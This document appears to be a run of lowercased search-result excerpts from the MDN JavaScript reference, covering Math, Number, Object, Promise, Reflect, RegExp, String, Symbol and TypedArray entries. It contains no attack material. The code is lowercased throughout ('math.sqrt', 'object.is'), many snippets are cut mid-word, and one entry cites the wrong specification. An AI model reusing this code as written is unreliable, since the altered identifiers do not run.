... examples using math.ln2 the following function returns the natural log of 2: function getnatlog2() { return math.ln2; } getnatlog2(); // 0.6931471805599453 specifications specification ecmascript (ecma-262)the definition of 'math.ln2' in that specification.
Math.LOG10E - JavaScript
property attributes of math.log10e writable no enumerable no configurable no description because log10e is a static property of math, you always use it as math.log10e, rather than as a property of a math object you created (math is not a constructor).
... examples using math.log10e the following function returns the base 10 logarithm of e: function getlog10e() { return math.log10e; } getlog10e(); // 0.4342944819032518 specifications specification ecmascript (ecma-262)the definition of 'math.log10e' in that specification.
Math.LOG2E - JavaScript
property attributes of math.log2e writable no enumerable no configurable no description because log2e is a static property of math, you always use it as math.log2e, rather than as a property of a math object you created (math is not a constructor).
... examples using math.log2e the following function returns the base 2 logarithm of e: function getlog2e() { return math.log2e; } getlog2e(); // 1.4426950408889634 specifications specification ecmascript (ecma-262)the definition of 'math.log2e' in that specification.
Math.SQRT1_2 - JavaScript
property attributes of math.sqrt1_2 writable no enumerable no configurable no description because sqrt1_2 is a static property of math, you always use it as math.sqrt1_2, rather than as a property of a math object you created (math is not a constructor).
... examples using math.sqrt1_2 the following function returns 1 over the square root of 2: function getroot1_2() { return math.sqrt1_2; } getroot1_2(); // 0.7071067811865476 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt1_2' in that specification.
Math.SQRT2 - JavaScript
property attributes of math.sqrt2 writable no enumerable no configurable no description because sqrt2 is a static property of math, you always use it as math.sqrt2, rather than as a property of a math object you created (math is not a constructor).
... examples using math.sqrt2 the following function returns the square root of 2: function getroot2() { return math.sqrt2; } getroot2(); // 1.4142135623730951 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt2' in that specification.
Math.acos() - JavaScript
because acos() is a static method of math, you always use it as math.acos(), rather than as a method of a math object you created (math is not a constructor).
... specifications specification ecmascript (ecma-262)the definition of 'math.acos' in that specification.
Math.asin() - JavaScript
because asin() is a static method of math, you always use it as math.asin(), rather than as a method of a math object you created (math is not a constructor).
... specifications specification ecmascript (ecma-262)the definition of 'math.asin' in that specification.
Math.atan2() - JavaScript
because atan2() is a static method of math, you always use it as math.atan2(), rather than as a method of a math object you created (math is not a constructor).
... specifications specification ecmascript (ecma-262)the definition of 'math.atan2' in that specification.
Math.ceil() - JavaScript
description because ceil() is a static method of math, you always use it as math.ceil(), rather than as a method of a math object you created (math is not a constructor).
...ound10(-55.551, -1); // -55.6 math.round10(-55, 1); // -50 math.round10(-55.1, 1); // -60 // floor math.floor10(55.59, -1); // 55.5 math.floor10(59, 1); // 50 math.floor10(-55.51, -1); // -55.6 math.floor10(-51, 1); // -60 // ceil math.ceil10(55.51, -1); // 55.6 math.ceil10(51, 1); // 60 math.ceil10(-55.59, -1); // -55.5 math.ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.ceil' in that specification.
Math.cos() - JavaScript
because cos() is a static method of math, you always use it as math.cos(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.cos() math.cos(0); // 1 math.cos(1); // 0.5403023058681398 math.cos(math.pi); // -1 math.cos(2 * math.pi); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.cos' in that specification.
Math.exp() - JavaScript
description because exp() is a static method of math, you always use it as math.exp(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.exp() math.exp(-1); // 0.36787944117144233 math.exp(0); // 1 math.exp(1); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.exp' in that specification.
Math.expm1() - JavaScript
description because expm1() is a static method of math, you always use it as math.expm1(), rather than as a method of a math object you created (math is not a constructor).
... polyfill this can be emulated with the help of the math.exp() function: math.expm1 = math.expm1 || function(x) { return math.exp(x) - 1; }; examples using math.expm1() math.expm1(-1); // -0.6321205588285577 math.expm1(0); // 0 math.expm1(1); // 1.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.expm1' in that specification.
Math.floor() - JavaScript
description because floor() is a static method of math, you always use it as math.floor(), rather than as a method of a math object you created (math is not a constructor).
....9, 1); // 50 round10(-55.55, -1); // -55.5 round10(-55.551, -1); // -55.6 round10(-55, 1); // -50 round10(-55.1, 1); // -60 // floor floor10(55.59, -1); // 55.5 floor10(59, 1); // 50 floor10(-55.51, -1); // -55.6 floor10(-51, 1); // -60 // ceil ceil10(55.51, -1); // 55.6 ceil10(51, 1); // 60 ceil10(-55.59, -1); // -55.5 ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.floor' in that specification.
Math.log10() - JavaScript
because log10() is a static method of math, you always use it as math.log10(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.log10() math.log10(2); // 0.3010299956639812 math.log10(1); // 0 math.log10(0); // -infinity math.log10(-2); // nan math.log10(100000); // 5 polyfill this can be emulated with the following function: math.log10 = math.log10 || function(x) { return math.log(x) * math.log10e; }; specifications specification ecmascript (ecma-262)the definition of 'math.log10' in that specification.
Math.log2() - JavaScript
because log2() is a static method of math, you always use it as math.log2(), rather than as a method of a math object you created (math is not a constructor).
... if (!math.log2) math.log2 = function(x) { return math.log(x) * math.log2e; }; examples using math.log2() math.log2(3); // 1.584962500721156 math.log2(2); // 1 math.log2(1); // 0 math.log2(0); // -infinity math.log2(-2); // nan math.log2(1024); // 10 specifications specification ecmascript (ecma-262)the definition of 'math.log2' in that specification.
Math.sin() - JavaScript
because sin() is a static method of math, you always use it as math.sin(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.sin() math.sin(0); // 0 math.sin(1); // 0.8414709848078965 math.sin(math.pi / 2); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.sin' in that specification.
Math.sqrt() - JavaScript
because sqrt() is a static method of math, you always use it as math.sqrt(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.sqrt() math.sqrt(9); // 3 math.sqrt(2); // 1.414213562373095 math.sqrt(1); // 1 math.sqrt(0); // 0 math.sqrt(-1); // nan math.sqrt(-0); // -0 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt' in that specification.
Number.isFinite() - JavaScript
return value a boolean indicating whether or not the given value is a finite number.
...y); // false number.isfinite(nan); // false number.isfinite(-infinity); // false number.isfinite(0); // true number.isfinite(2e64); // true number.isfinite('0'); // false, would've been true with // global isfinite('0') number.isfinite(null); // false, would've been true with // global isfinite(null) specifications specification ecmascript (ecma-262)the definition of 'number.isinteger' in that specification.
Number.isNaN() - JavaScript
polyfill the following works because nan is the only value in javascript which is not equal to itself.
...these would have been true with global isnan() number.isnan('nan'); // false number.isnan(undefined); // false number.isnan({}); // false number.isnan('blabla'); // false // these all return false number.isnan(true); number.isnan(null); number.isnan(37); number.isnan('37'); number.isnan('37.37'); number.isnan(''); number.isnan(' '); specifications specification ecmascript (ecma-262)the definition of 'number.isnan' in that specification.
Number.prototype.valueOf() - JavaScript
description this method is usually called internally by javascript and not explicitly in web code.
... examples using valueof let numobj = new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification.
Object() constructor - JavaScript
when called in a non-constructor context, object behaves identically to new object().
... examples creating a new object let o = new object() o.foo = 42 console.log(o) // object { foo: 42 } using object given undefined and null types the following examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) specifications specification ecmascript (ecma-262)the definition of 'object constructor' in that specification.
Object.fromEntries() - JavaScript
examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c...
...for more details, refer to: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'object.fromentries' in that specification.
Object.getOwnPropertyNames() - JavaScript
in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror.
...rget); var enum_only = object.keys(target); var nonenum_only = enum_and_nonenum.filter(function(key) { var indexinenum = enum_only.indexof(key); if (indexinenum == -1) { // not found in enum_only keys, // meaning that the key is non-enumerable, // so return true so we keep this in the filter return true; } else { return false; } }); console.log(nonenum_only); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertynames' in that specification.
Object.getOwnPropertySymbols() - JavaScript
description similar to object.getownpropertynames(), you can get all symbol properties of a given object as an array of symbols.
... examples using getownpropertysymbols var obj = {}; var a = symbol('a'); var b = symbol.for('b'); obj[a] = 'localsymbol'; obj[b] = 'globalsymbol'; var objectsymbols = object.getownpropertysymbols(obj); console.log(objectsymbols.length); // 2 console.log(objectsymbols); // [symbol(a), symbol(b)] console.log(objectsymbols[0]); // symbol(a) specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertysymbols' in that specification.
Object.is() - JavaScript
return value a boolean indicating whether or not the two arguments are the same value.
...n == nan return x !== x && y !== y; } }; } examples using object.is object.is('foo', 'foo'); // true object.is(window, window); // true object.is('foo', 'bar'); // false object.is([], []); // false var foo = { a: 1 }; var bar = { a: 1 }; object.is(foo, foo); // true object.is(foo, bar); // false object.is(null, null); // true // special cases object.is(0, -0); // false object.is(-0, -0); // true object.is(nan, 0/0); // true specifications specification ecmascript (ecma-262)the definition of 'object.is' in that specification.
Promise.allSettled() - JavaScript
it is typically used when you have multiple asynchronous tasks that are not dependent on one another to complete successfully, or you'd always like to know the result of each promise.
...promise.allsettled promise.allsettled([ promise.resolve(33), new promise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specifications specification ecmascript (ecma-262)the definition of 'promise.allsettled' in that specification.
Promise.reject() - JavaScript
for debugging purposes and selective error catching, it is useful to make reason an instanceof error.
... examples using the static promise.reject() method promise.reject(new error('fail')).then(function() { // not called }, function(error) { console.error(error); // stacktrace }); specifications specification ecmascript (ecma-262)the definition of 'promise.reject' in that specification.
handler.getPrototypeOf() - JavaScript
description interceptions this trap can intercept these operations: object.getprototypeof() reflect.getprototypeof() __proto__ object.prototype.isprototypeof() instanceof invariants if the following invariants are violated, the proxy will throw a typeerror: getprototypeof() method must return an object or null.
...ds of exceptions const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
RangeError() constructor - JavaScript
filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple...
...", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification.
ReferenceError - JavaScript
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.co...
...lumnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'referenceerror' in that specification.
Reflect.getOwnPropertyDescriptor() - JavaScript
}, 'x') // {value: "hello", writable: true, enumerable: true, configurable: true} reflect.getownpropertydescriptor({x: 'hello'}, 'y') // undefined reflect.getownpropertydescriptor([], 'length') // {value: 0, writable: true, enumerable: false, configurable: false} difference to object.getownpropertydescriptor() if the target argument to this method is not an object (a primitive), then it will cause a typeerror.
... reflect.getownpropertydescriptor('foo', 0) // typeerror: "foo" is not non-null object object.getownpropertydescriptor('foo', 0) // { value: "f", writable: false, enumerable: true, configurable: false } specifications specification ecmascript (ecma-262)the definition of 'reflect.getownpropertydescriptor' in that specification.
Reflect.has() - JavaScript
return value a boolean indicating whether or not the target has the property.
....has() handler method obj = new proxy({}, { has(t, k) { return k.startswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherited properties, like the in operator: const a = {foo: 123} const b = {__proto__: a} const c = {__proto__: b} // the prototype chain is: c -> b -> a reflect.has(c, 'foo') // true specifications specification ecmascript (ecma-262)the definition of 'reflect.has' in that specification.
Reflect.ownKeys() - JavaScript
its return value is equivalent to object.getownpropertynames(target).concat(object.getownpropertysymbols(target)).
... // ["length"] let sym = symbol.for('comet') let sym2 = symbol.for('meteor') let obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0, [sym2]: 0, '-1': 0, '8': 0, 'second str': 0} reflect.ownkeys(obj) // [ "0", "8", "773", "str", "-1", "second str", symbol(comet), symbol(meteor) ] // indexes in numeric order, // strings in insertion order, // symbols in insertion order specifications specification ecmascript (ecma-262)the definition of 'reflect.ownkeys' in that specification.
RegExp.prototype.flags - JavaScript
property attributes of regexp.prototype.flags writable no enumerable no configurable yes description flags in the flags property are sorted alphabetically (from left to right, e.g.
... polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExp.lastMatch ($&) - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$&), because the parser expects an expression with "&" in that case and a syntaxerror is thrown.
... examples using lastmatch and $& var re = /hi/g; re.test('hi there!'); regexp.lastmatch; // "hi" regexp['$&']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.lastParen ($+) - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$+), because the parser expects an expression with "+" in that case and a syntaxerror is thrown.
... examples using lastparen and $+ var re = /(hi)/g; re.test('hi there!'); regexp.lastparen; // "hi" regexp['$+']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.leftContext ($`) - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$`), because the parser expects a starting template string in that case and a syntaxerror is thrown.
... examples using leftcontext and $` var re = /world/g; re.test('hello world!'); regexp.leftcontext; // "hello " regexp['$`']; // "hello " specifications specification legacy regexp features in javascript ...
RegExp.rightContext ($') - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$'), because the parser expects a starting string in that case and a syntaxerror is thrown.
... examples using rightcontext and $' var re = /hello/g; re.test('hello world!'); regexp.rightcontext; // " world!" regexp["$'"]; // " world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+c/' var foo = new regexp('bar', 'g'); console.log(foo.tostring()); // logs '/bar/g' empty regular expressions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such as "\n" are escaped: new regexp().tostring(); // "/(?:)/" new regexp('\n').tostring() === '/\n/'; // true, prior to es5 new regexp('\n').tostring() === '/\\n/'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'reg...
...exp.prototype.tostring' in that specification.
Set.prototype.size - JavaScript
a set accessor function for size is undefined; you cannot change this property.
... examples using size var myset = new set(); myset.add(1); myset.add(5); myset.add('some text') myset.size; // 3 specifications specification ecmascript (ecma-262)the definition of 'set.prototype.size' in that specification.
SharedArrayBuffer() constructor - JavaScript
calling a sharedarraybuffer constructor as a function without new will throw a typeerror.
... var sab = sharedarraybuffer(1024); // typeerror: calling a builtin sharedarraybuffer constructor // without new is forbidden var sab = new sharedarraybuffer(1024); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer constructor' in that specification.
String() constructor - JavaScript
it performs type conversion when called as a function, rather than as a constructor, which is usually more useful.
... specifications specification ecmascript (ecma-262)the definition of 'string constructor' in that specification.
String.prototype.big() - JavaScript
the big() method creates a <big> html element that causes a string to be displayed in a big font.
... examples using big() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <fontsize=7>hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '2em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.big' in that specification.
String.prototype.bold() - JavaScript
the bold() method creates a <b> html element that causes a string to be displayed as bold.
...amples using bold() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.bold' in that specification.
String.prototype.codePointAt() - JavaScript
https://mths.be/codepointat v0.2.0 by @mathias */ if (!string.prototype.codepointat) { (function() { 'use strict'; // needed to support `apply`/`call` with `undefined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defineproperty; var result = $defineproperty(object, object, object) && $defineproperty; } catch(error) {} return result; }()); var codepointat = function(position...
... string.prototype.codepointat = codepointat; } }()); } examples using codepointat() 'abc'.codepointat(1) // 66 '\ud800\udc00'.codepointat(0) // 65536 'xyz'.codepointat(42) // undefined looping with codepointat() for (let codepoint of '\ud83d\udc0e\ud83d\udc71\u2764') { console.log(codepoint.codepointat(0).tostring(16)) } // '1f40e', '1f471', '2764' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.codepointat' in that specification.
String.prototype.fixed() - JavaScript
the fixed() method creates a <tt> html element that causes a string to be displayed in fixed-pitch font.
... examples using fixed() the following example uses the fixed method to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.fixed()); // "<tt>hello, world</tt>" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fixed' in that specification.
String.prototype.fontcolor() - JavaScript
the fontcolor() method creates a <font> html element that causes a string to be displayed in the specified font color.
... var worldstring = 'hello, world'; console.log(worldstring.fontcolor('red') + ' is red in this line'); // '<font color="red">hello, world</font> is red in this line' console.log(worldstring.fontcolor('ff00') + ' is red in hexadecimal in this line'); // '<font color="ff00">hello, world</font> is red in hexadecimal in this line' with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.color = 'red'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontcolor' in that specification.
String.prototype.fontsize() - JavaScript
the fontsize() method creates a <font> html element that causes a string to be displayed in the specified font size.
... examples using fontsize() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontsize' in that specification.
String.prototype.italics() - JavaScript
the italics() method creates an <i> html element that causes a string to be italic.
...amples using italics() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.italics' in that specification.
String.prototype.padEnd() - JavaScript
if padstring is too long to stay within targetlength, it will be truncated: for left-to-right languages the left-most part and for right-to-left languages the right-most will be applied.
... examples using padend 'abc'.padend(10); // "abc " 'abc'.padend(10, "foo"); // "abcfoofoof" 'abc'.padend(6, "123456"); // "abc123" 'abc'.padend(1); // "abc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padend' in that specification.
String.prototype.padStart() - JavaScript
if padstring is too long to stay within the targetlength, it will be truncated from the end.
...start(6,"123465"); // "123abc" 'abc'.padstart(8, "0"); // "00000abc" 'abc'.padstart(1); // "abc" fixed width string number conversion // javascript version of: (unsigned) // printf "%0*d" width num function leftfillnum(num, targetlength) { return num.tostring().padstart(targetlength, 0); } const num = 123; console.log(leftfillnum(num, 5)); // expected output: "00123" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padstart' in that specification.
String.prototype.small() - JavaScript
the small() method creates a <small> html element that causes a string to be displayed in a small font.
... examples using small() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.small' in that specification.
String.prototype.strike() - JavaScript
the strike() method creates a <strike> html element that causes a string to be displayed as struck-out text.
... examples using strike() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.strike' in that specification.
String.prototype.sub() - JavaScript
the sub() method creates a <sub> html element that causes a string to be displayed as subscript.
... specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sub' in that specification.
String.prototype.sup() - JavaScript
the sup() method creates a <sup> html element that causes a string to be displayed as superscript.
...sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscript'; var subtext = 'subscript'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // "this is what a <sup>superscript</sup> looks like." console.log('this is what a ' + subtext.sub() + ' looks like.'); // "this is what a <sub>subscript</sub> looks like." specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sup' in that specification.
String.prototype.toString() - JavaScript
syntax str.tostring() return value a string representing the calling object.
... examples using tostring() the following example displays the string value of a string object: var x = new string('hello world'); console.log(x.tostring()); // logs 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tostring' in that specification.
String.prototype.trim() - JavaScript
if (!string.prototype.trim) { string.prototype.trim = function () { return this.replace(/^[\s\ufeff\xa0]+|[\s\ufeff\xa0]+$/g, ''); }; } examples using trim() the following example displays the lowercase string 'foo': var orig = ' foo '; console.log(orig.trim()); // 'foo' // another example of .trim() removing whitespace from just one side.
... var orig = 'foo '; console.log(orig.trim()); // 'foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trim' in that specification.
String.prototype.trimEnd() - JavaScript
syntax str.trimend(); str.trimright(); return value a new string representing the calling string stripped of whitespace from its (right) end.
...in some engines this means: string.prototype.trimright.name === "trimend"; examples using trimend() the following example displays the lowercase string ' foo': var str = ' foo '; console.log(str.length); // 8 str = str.trimend(); console.log(str.length); // 6 console.log(str); // ' foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trimend' in that specification.
String.prototype.trimStart() - JavaScript
syntax str.trimstart(); str.trimleft(); return value a new string representing the calling string stripped of whitespace from its beginning (left end).
...,'trimstart'); })(window); /* es6: (w=>{ const string=w.string, proto=string.prototype; ((o,p)=>{ if(p in o?o[p]?false:true:true){ const r=/^\s+/; o[p]=o.trimleft||function(){ return this.replace(r,'') } } })(proto,'trimstart'); })(window); */ examples using trimstart() the following example displays the lowercase string 'foo ': var str = ' foo '; console.log(str.length); // 8 str = str.trimstart(); console.log(str.length); // 5 console.log(str); // 'foo ' specifications specification ecmascript (ecma-262)the definition of ' string.prototype.trimstart' in that specification.
String.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
... examples using valueof() var x = new string('hello world'); console.log(x.valueof()); // displays 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.valueof' in that specification.
Symbol.hasInstance - JavaScript
the instanceof operator's behavior can be customized by this symbol.
...t your custom instanceof behavior like this, for example: class myarray { static [symbol.hasinstance](instance) { return array.isarray(instance) } } console.log([] instanceof myarray); // true function myarray() { } object.defineproperty(myarray, symbol.hasinstance, { value: function(instance) { return array.isarray(instance); } }); console.log([] instanceof myarray); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.hasinstance' in that specification.
Symbol.replace - JavaScript
this function is called by the string.prototype.replace() method.
... writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.search - JavaScript
this function is called by the string.prototype.search() method.
... property attributes of symbol.search writable no enumerable no configurable no examples custom string search class caseinsensitivesearch { constructor(value) { this.value = value.tolowercase(); } [symbol.search](string) { return string.tolowercase().indexof(this.value); } } console.log('foobar'.search(new caseinsensitivesearch('bar'))); // expected output: 3 specifications specification ecmascript (ecma-262)the definition of 'symbol.search' in that specification.
Symbol.split - JavaScript
this function is called by the string.prototype.split() method.
... writable no enumerable no configurable no examples custom reverse split class reversesplit { [symbol.split](string) { const array = string.split(' '); return array.reverse(); } } console.log('another one bites the dust'.split(new reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification.
Symbol.prototype.toString() - JavaScript
no string concatenation while you can call tostring() on symbols, you cannot use string concatenation with them: symbol('foo') + 'bar' // typeerror: can't convert symbol to string examples using tostring symbol('desc').tostring() // "symbol(desc)" // well-known symbols symbol.iterator.tostring() // "symbol(symbol.iterator) // global symbols symbol.for('foo').tostring() // "symbol(foo)" speci...
...fications specification ecmascript (ecma-262)the definition of 'symbol.prototype.tostring' in that specification.
TypedArray.prototype.join() - JavaScript
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join if (!uint8array.prototype.join) { object.defineproperty(uint8array.prototype, 'join', { value: array.prototype.join }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
... examples using join var uint8 = new uint8array([1,2,3]); uint8.join(); // '1,2,3' uint8.join(' / '); // '1 / 2 / 3' uint8.join(''); // '123' specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.join' in that specification.
TypedArray.of() - JavaScript
hence, when working with proxy objects, it calls handler.set to create new elements rather than handler.defineproperty.
... examples using of uint8array.of(1); // uint8array [ 1 ] int8array.of('1', '2', '3'); // int8array [ 1, 2, 3 ] float32array.of(1, 2, 3); // float32array [ 1, 2, 3 ] int16array.of(undefined); // int16array [ 0 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.of' in that specification.
TypedArray.prototype.set() - JavaScript
all values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown.
... examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.set' in that specification.
TypedArray.prototype.toString() - JavaScript
var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation.
... compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
URIError - JavaScript
examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
... // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'urierror' in that specification.
WeakMap.prototype.get() - JavaScript
if the key can't be found, undefined is returned.
... specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.get' in that specification.
WeakMap.prototype.has() - JavaScript
the has() method returns a boolean indicating whether an element with the specified key exists in the weakmap object or not.
... examples using the has method var wm = new weakmap(); wm.set(window, 'foo'); wm.has(window); // returns true wm.has('baz'); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.has' in that specification.
WeakRef() constructor - JavaScript
syntax new weakref(targetobject); parameters targetobject the target object the weakref should refer to (also called the referent).
